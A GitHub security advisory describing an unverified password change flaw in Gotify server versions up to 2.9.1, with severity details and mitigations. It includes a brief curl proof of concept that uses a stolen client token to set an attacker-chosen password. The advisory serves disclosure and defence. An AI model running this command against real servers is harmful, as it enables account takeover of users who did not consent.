GitHub Advisoryadvisory · Go

GHSA-3hcj-9m7p-wwm9 Gotify: Insufficiently Protected Password Change endpoint

MEDIUM Published 2026-10-15 Modified 2026-10-15 Official page ↗
Aliases
CVE-2026-102603
Ecosystem
Go
Packages
github.com/gotify/server/v2, github.com/gotify/server/v3
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Weaknesses
CWE-620
Reviewed
2026-10-15

Affected packages

• Go github.com/gotify/server/v2: <= 2.9.1 (no fix yet) • Go github.com/gotify/server/v3: < 3.0.0 → fixed in 3.0.0

Description

The password change endpoint (`POST /current/user/password`) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access. PoC ```bash Attacker has obtained a client token No prior password knowledge required STOLEN_TOKEN="Cxxxxxxxxxx" curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \ -H "Content-Type: application/json" \ -d '{"pass":"attacker_controls_this"}' Expected response: HTTP/1.1 200 OK ``` Mitigation • Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or • Restrict access to the state-changing endpoints under `/user` and `/current/user` to trusted networks.

Related

Alias · CVE (1)

  • CVE-2026-102603 Gotify server is a simple server for sending and receiving messages in real-time per WebSocket. vulnerability

Weakness · CWE (1)

  • CWE-620 Unverified Password Change weakness

References